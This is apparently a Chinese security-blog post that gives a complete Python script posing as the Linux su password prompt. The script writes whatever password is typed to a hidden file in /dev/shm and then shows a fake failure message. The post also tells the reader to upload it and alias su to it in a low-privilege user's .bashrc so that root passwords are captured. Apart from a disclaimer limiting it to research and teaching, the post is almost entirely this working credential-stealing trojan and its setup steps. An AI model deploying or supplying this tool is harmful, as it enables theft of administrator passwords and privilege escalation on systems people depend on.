#!/usr/bin/python import os, sys, getpass, time current_time = time.strftime("%Y-%m-%d %H:%M") logfile="/dev/shm/.su.log" #CentOS #fail_str = "su: incorrect password" #Ubuntu #fail_str = "su: Authentication failure" #For Linux Korea fail_str = "su: incorrect password" try: passwd = getpass.getpass(prompt='Password: '); file=open(logfile,'a') file.write("[%s]/t%s"%(passwd, current_time)) file.write('/n') file.close() except: pass time.sleep(1) print fail_str
将这个python脚本传上去,再将一个低权限用户目录下的.bashrc添加一句alias su=’/usr/.su’;
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论